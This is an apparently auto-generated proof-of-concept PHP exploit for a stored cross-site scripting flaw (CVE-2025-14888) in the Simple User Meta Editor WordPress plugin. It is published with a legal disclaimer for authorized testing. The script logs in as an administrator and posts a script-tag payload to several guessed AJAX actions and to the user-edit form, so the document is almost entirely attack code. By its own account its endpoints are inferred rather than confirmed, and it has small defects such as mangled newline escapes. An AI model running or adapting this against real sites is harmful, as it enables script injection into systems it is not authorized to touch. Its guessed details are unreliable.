CVE-2025-14888: Simple User Meta Editor <= 1.0.0 – Authenticated (Administrator+) Stored Cross-Site Scripting via User Meta Value Field (simple-user-meta-editor)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14888 - Simple User Meta Editor <= 1.0.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via User Meta Value Field
<?php
/**
 * Proof of Concept for CVE-2025-14888
 * Assumptions based on metadata analysis:
 * 1. Plugin provides an interface to edit user meta values
 * 2. The endpoint is accessible to administrators
 * 3. No sanitization occurs on user meta value inputs
 * 4. The plugin uses WordPress standard AJAX or form submission patterns
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'admin';
$password = 'password';
$user_id_to_target = 2; // Target user whose meta will be modified

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Check login success by verifying dashboard access
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Attempt exploitation via inferred AJAX endpoint
// Based on WordPress plugin patterns, the action likely contains the plugin slug
$payload = '<script>alert("Atomic Edge XSS Test - CVE-2025-14888")</script>';

// Try common AJAX action patterns for user meta editing plugins
$ajax_actions = [
    'simple_user_meta_editor_update',
    'simple_user_meta_editor_save',
    'update_user_meta_editor'
];

foreach ($ajax_actions as $action) {
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'action' => $action,
        'user_id' => $user_id_to_target,
        'meta_key' => 'test_meta',
        'meta_value' => $payload,
        'nonce' => 'inferred_missing_nonce' // Nonce may be required but could be bypassed
    ]));
    
    $response = curl_exec($ch);
    
    if (strpos($response, 'success') !== false || strpos($response, 'updated') !== false) {
        echo "Potential success with action: $actionn";
        echo "Payload injected. Check user profile page for script execution.n";
        break;
    }
}

// Alternative: Try direct form submission to user edit page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/user-edit.php?user_id=' . $user_id_to_target);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'update',
    'user_id' => $user_id_to_target,
    'meta_input[test_meta]' => $payload, // Common pattern for meta field arrays
    '_wpnonce' => 'inferred_missing_nonce',
    '_wp_http_referer' => '/wp-admin/user-edit.php?user_id=' . $user_id_to_target
]));

$response = curl_exec($ch);

if (strpos($response, 'User updated') !== false) {
    echo "Payload potentially injected via user edit form.n";
}

curl_close($ch);
echo "PoC execution complete. Verify payload injection by visiting user profile pages.n";
?>